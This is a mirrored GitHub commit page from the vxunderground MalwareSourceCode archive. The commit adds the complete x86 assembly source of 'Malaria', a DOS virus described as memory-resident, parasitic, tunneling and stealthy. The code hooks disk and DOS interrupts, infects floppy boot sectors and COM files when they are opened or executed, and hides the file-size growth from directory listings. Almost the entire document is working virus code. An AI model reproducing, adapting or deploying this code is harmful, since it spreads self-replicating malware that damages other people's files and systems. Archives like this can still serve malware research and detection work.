mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,408 @@
|
||||
;
|
||||
;=============================================================================
|
||||
; [Malaria]
|
||||
; TSR, parasitic, tunneling, sub-stealth, floppy, COM infecting virus
|
||||
;=============================================================================
|
||||
;
|
||||
|
||||
virus_size equ (v_end-v_start)
|
||||
loader_size equ (loader_end-loader_start)
|
||||
paragraph_size equ (heap_end-v_start+010Fh)/0010h+0001h
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
.286
|
||||
org 0100h
|
||||
start:
|
||||
v_start:
|
||||
push ds es
|
||||
dec ax
|
||||
int 0013h
|
||||
inc ax
|
||||
jz exit_install
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov bx,5A4Dh
|
||||
sub si,si
|
||||
cmp bl,byte ptr [si]
|
||||
jz exit_install
|
||||
mov ax,offset exit_install
|
||||
delta_two = $-0002h
|
||||
push cs ax
|
||||
sub word ptr [si+0003h],paragraph_size
|
||||
sub word ptr [si+0012h],paragraph_size
|
||||
mov byte ptr [si],bl
|
||||
mov ax,word ptr [si+0012h]
|
||||
mov ds,ax
|
||||
mov byte ptr [si],bh
|
||||
mov word ptr [si+0001h],0008h
|
||||
mov word ptr [si+0003h],paragraph_size-0001h
|
||||
inc ax
|
||||
mov es,ax
|
||||
push ax
|
||||
mov si,offset v_start
|
||||
delta_one = $-0002h
|
||||
mov cx,virus_size
|
||||
mov di,offset v_start
|
||||
rep movs byte ptr [di],cs:[si]
|
||||
mov ax,offset trace_interrupt
|
||||
push ax
|
||||
retf
|
||||
exit_install:
|
||||
pop es ds
|
||||
mov si,offset host_bytes
|
||||
delta_three = $-0002h
|
||||
mov di,offset v_start
|
||||
push di
|
||||
movsb
|
||||
movsw
|
||||
retn
|
||||
loader_start:
|
||||
mov ax,0B900h
|
||||
mov es,ax
|
||||
push ax
|
||||
mov ax,offset restore_boot_sector
|
||||
push ax
|
||||
mov ax,0202h
|
||||
mov bx,offset v_start
|
||||
mov cx,'ML'
|
||||
loader_fix_1 = $-0002h
|
||||
inc dh
|
||||
int 0013h
|
||||
retf
|
||||
loader_end:
|
||||
restore_boot_sector:
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov si,offset boot_bytes
|
||||
mov di,7C00h
|
||||
push ax di
|
||||
mov cl,loader_size shr 0001h
|
||||
rep movs word ptr [di],cs:[si]
|
||||
mov ax,word ptr es:[0084h]
|
||||
mov word ptr cs:[int_word],ax
|
||||
push cs
|
||||
pop es
|
||||
mov byte ptr cs:[trace_interrupt_],00C3h
|
||||
call trace_interrupt
|
||||
mov byte ptr cs:[trace_interrupt_],00BEh
|
||||
retf
|
||||
trace_interrupt:
|
||||
mov ds,cx
|
||||
mov byte ptr cs:[trap_flag],cl
|
||||
mov si,004Ch
|
||||
mov di,offset i0013hOffset
|
||||
movsw
|
||||
movsw
|
||||
mov word ptr [si-0004h],offset i0013h
|
||||
mov word ptr [si-0002h],cs
|
||||
trace_interrupt_:
|
||||
mov si,0084h
|
||||
mov di,offset i0021hOffset
|
||||
movsw
|
||||
movsw
|
||||
mov word ptr [si-0004h],offset i0021h
|
||||
mov word ptr [si-0002h],cs
|
||||
mov si,0004h
|
||||
push word ptr ds:[si] word ptr ds:[si+0002h]
|
||||
mov word ptr [si],offset i0001h
|
||||
mov word ptr [si+0002h],cs
|
||||
mov ah,0052h
|
||||
int 0021h
|
||||
mov word ptr cs:[dos_segment],es
|
||||
mov ah,0001h
|
||||
push ax
|
||||
popf
|
||||
mov ah,0019h
|
||||
call call_i0021h
|
||||
pop word ptr ds:[si+0002h] word ptr ds:[si]
|
||||
retf
|
||||
i0001h: push bp
|
||||
mov bp,sp
|
||||
push ax
|
||||
cmp byte ptr cs:[trap_flag],0001h
|
||||
jz i0001h_exit_
|
||||
mov ax,word ptr [bp+0004h]
|
||||
cmp ax,0D00Dh
|
||||
dos_segment = $-0002h
|
||||
jnz i0001h_exit
|
||||
mov word ptr cs:[t0021hSegment],ax
|
||||
mov ax,word ptr [bp+0002h]
|
||||
mov word ptr cs:[t0021hOffset],ax
|
||||
inc byte ptr cs:[trap_flag]
|
||||
i0001h_exit_:
|
||||
and byte ptr [bp+0007h],-0002h
|
||||
i0001h_exit:
|
||||
pop ax bp
|
||||
int_return:
|
||||
iret
|
||||
i0013h: cmp ax,-0001h
|
||||
jz int_return
|
||||
cmp byte ptr cs:[trap_flag],0001h
|
||||
jz i0013h_continue
|
||||
pusha
|
||||
push ds es cs
|
||||
pop es
|
||||
cwd
|
||||
mov ds,dx
|
||||
mov ax,word ptr ds:[0084h]
|
||||
cmp ax,word ptr cs:[int_word]
|
||||
jz hook_exit
|
||||
push cs
|
||||
call trace_interrupt_
|
||||
hook_exit:
|
||||
pop es ds
|
||||
popa
|
||||
i0013h_continue:
|
||||
cmp dl,0001h
|
||||
jnb original_i0013h
|
||||
cmp ah,0002h
|
||||
jz i0013h_stealth_boot
|
||||
pusha
|
||||
push ds es
|
||||
cmp ah,0003h
|
||||
jnz i0013h_exit
|
||||
i0013h_infect_boot:
|
||||
mov ax,0BBE8h
|
||||
mov es,ax
|
||||
mov ax,0201h
|
||||
xor bx,bx
|
||||
mov cx,0001h
|
||||
xor dh,dh
|
||||
call call_i0013h
|
||||
cmp byte ptr es:[bx],00B8h
|
||||
jz i0013h_exit
|
||||
mov al,byte ptr es:[bx+0010h]
|
||||
mul byte ptr es:[bx+0016h]
|
||||
xchg ax,cx
|
||||
mov ax,word ptr es:[bx+0011h]
|
||||
shr ax,0004h
|
||||
add ax,cx
|
||||
sub ax,word ptr es:[bx+0018h]
|
||||
mov word ptr cs:[loader_fix_1],ax
|
||||
push ax es es cs
|
||||
pop es ds
|
||||
mov cl,loader_size shr 0001h
|
||||
xor si,si
|
||||
mov di,offset boot_bytes
|
||||
rep movsw
|
||||
pop es
|
||||
mov cl,loader_size shr 0001h
|
||||
mov si,offset loader_start
|
||||
sub di,di
|
||||
rep movs word ptr [di],cs:[si]
|
||||
mov ax,0301h
|
||||
inc cx
|
||||
call call_i0013h
|
||||
push cs
|
||||
pop es
|
||||
mov ax,0302h
|
||||
mov bx,offset v_start
|
||||
pop cx
|
||||
inc dh
|
||||
call call_i0013h
|
||||
i0013h_exit:
|
||||
pop es ds
|
||||
popa
|
||||
original_i0013h:
|
||||
db 00EAh,'PURE'
|
||||
i0013hOffset = $-0004h
|
||||
i0013hSegment = $-0002h
|
||||
i0013h_stealth_boot:
|
||||
cmp cx,0001h
|
||||
jnz original_i0013h
|
||||
or dh,dh
|
||||
jnz original_i0013h
|
||||
pusha
|
||||
call call_i0013h
|
||||
jc i0013h_stealth_boot_exit
|
||||
cmp byte ptr es:[bx],00B8h
|
||||
jnz i0013h_stealth_boot_exit
|
||||
mov si,offset boot_bytes
|
||||
mov di,bx
|
||||
mov cl,loader_size shr 0001h
|
||||
rep movs word ptr [di],cs:[si]
|
||||
i0013h_stealth_boot_exit:
|
||||
popa
|
||||
clc
|
||||
retf 0002h
|
||||
i0021h: cmp ah,0011h
|
||||
jz fcb_stealth
|
||||
cmp ah,0012h
|
||||
jz fcb_stealth
|
||||
cmp ah,004Eh
|
||||
jz dta_stealth
|
||||
cmp ah,004Fh
|
||||
jz dta_stealth
|
||||
pusha
|
||||
push ds es
|
||||
cmp ax,4300h
|
||||
jz i0021h_infect_file
|
||||
cmp ax,4301h
|
||||
jz i0021h_infect_file
|
||||
cmp ax,4B00h
|
||||
jz i0021h_infect_file
|
||||
i0021h_exit:
|
||||
pop es ds
|
||||
popa
|
||||
original_i0021h:
|
||||
db 00EAh,'TEXT'
|
||||
i0021hOffset = $-0004h
|
||||
i0021hSegment = $-0002h
|
||||
fcb_stealth:
|
||||
call call_i0021h
|
||||
pusha
|
||||
push es
|
||||
inc al
|
||||
jz fcb_exit_
|
||||
mov ah,002Fh
|
||||
call tunnel_i0021h
|
||||
cmp byte ptr es:[bx],-0001h
|
||||
jnz fcb_continue
|
||||
add bx,0007h
|
||||
fcb_continue:
|
||||
mov ax,word ptr es:[bx+0017h]
|
||||
mov cx,word ptr es:[bx+0019h]
|
||||
call hide_dir
|
||||
fcb_exit_:
|
||||
pop es
|
||||
popa
|
||||
fcb_exit:
|
||||
iret
|
||||
dta_stealth:
|
||||
call call_i0021h
|
||||
jc dta_exit
|
||||
pusha
|
||||
push es
|
||||
mov ah,002Fh
|
||||
call tunnel_i0021h
|
||||
mov ax,word ptr es:[bx+0016h]
|
||||
mov cx,word ptr es:[bx+0018h]
|
||||
sub bx,0003h
|
||||
call hide_dir
|
||||
pop es
|
||||
popa
|
||||
dta_exit:
|
||||
retf 0002h
|
||||
_close_file:
|
||||
jmp close_file
|
||||
i0021h_infect_file:
|
||||
push ds
|
||||
pop es
|
||||
mov al,002Eh
|
||||
mov cx,0040h
|
||||
mov di,dx
|
||||
repnz scasb
|
||||
cmp word ptr [di],4F43h
|
||||
jnz i0021h_exit
|
||||
mov ax,3D02h
|
||||
call tunnel_i0021h
|
||||
xchg ax,bx
|
||||
mov ax,1220h
|
||||
int 002Fh
|
||||
push bx
|
||||
mov ax,1216h
|
||||
mov bl,byte ptr es:[di]
|
||||
int 002Fh
|
||||
pop bx
|
||||
mov si,offset temp_buffer
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,003Fh
|
||||
mov cl,0003h
|
||||
mov dx,si
|
||||
call tunnel_i0021h
|
||||
cmp word ptr [si],5A4Dh
|
||||
jz close_file
|
||||
cmp word ptr [si],4D5Ah
|
||||
jz close_file
|
||||
push si
|
||||
lodsb
|
||||
mov byte ptr [si-0004h],al
|
||||
lodsw
|
||||
mov word ptr [si-0005h],ax
|
||||
pop si
|
||||
mov ax,word ptr es:[di+0011h]
|
||||
mov word ptr es:[di+0015h],ax
|
||||
mov cx,virus_size
|
||||
cmp ax,cx
|
||||
jb close_file
|
||||
push ax
|
||||
sub ax,0003h
|
||||
mov byte ptr [si],00E9h
|
||||
mov word ptr [si+0001h],ax
|
||||
sub ax,cx
|
||||
cmp ax,word ptr [si-0002h]
|
||||
pop ax
|
||||
jz close_file
|
||||
add ax,offset v_start
|
||||
mov word ptr [delta_one],ax
|
||||
add ax,offset exit_install-v_start
|
||||
mov word ptr [delta_two],ax
|
||||
add ax,offset host_bytes-exit_install
|
||||
mov word ptr [delta_three],ax
|
||||
mov ah,0040h
|
||||
mov dx,offset v_start
|
||||
call tunnel_i0021h
|
||||
mov word ptr es:[di+0015h],0000h
|
||||
mov ah,0040h
|
||||
mov cx,0003h
|
||||
mov dx,si
|
||||
call tunnel_i0021h
|
||||
mov ax,5701h
|
||||
mov cx,word ptr es:[di+000Dh]
|
||||
mov dx,word ptr es:[di+000Fh]
|
||||
push dx
|
||||
and cx,-0020h
|
||||
and dx,001Fh
|
||||
dec dx
|
||||
or cx,dx
|
||||
pop dx
|
||||
call tunnel_i0021h
|
||||
close_file:
|
||||
mov ah,003Eh
|
||||
call tunnel_i0021h
|
||||
jmp i0021h_exit
|
||||
hide_dir:
|
||||
mov si,001Fh
|
||||
and ax,si
|
||||
and cx,si
|
||||
dec cx
|
||||
xor ax,cx
|
||||
jnz hide_exit
|
||||
cmp ax,word ptr es:[bx+si]
|
||||
ja hide_exit
|
||||
mov ax,virus_size
|
||||
cmp word ptr es:[bx+si-0002h],ax
|
||||
jbe hide_exit
|
||||
hide_continue:
|
||||
sub word ptr es:[bx+si-0002h],ax
|
||||
hide_exit:
|
||||
retn
|
||||
tunnel_i0021h:
|
||||
pushf
|
||||
db 009Ah,'PURE'
|
||||
t0021hOffset = $-0004h
|
||||
t0021hSegment = $-0002h
|
||||
retn
|
||||
call_i0013h:
|
||||
pushf
|
||||
push cs
|
||||
call original_i0013h
|
||||
retn
|
||||
call_i0021h:
|
||||
pushf
|
||||
push cs
|
||||
call original_i0021h
|
||||
retn
|
||||
boot_bytes db loader_size dup (0000h)
|
||||
host_bytes db 00CDh,0020h,'!'
|
||||
v_end:
|
||||
heap_start:
|
||||
temp_buffer db 0003h dup (?)
|
||||
trap_flag db 0001h dup (?)
|
||||
int_word db 0002h dup (?)
|
||||
heap_end:
|
||||
end start
|
||||
.
|
||||
Reference in New Issue
Block a user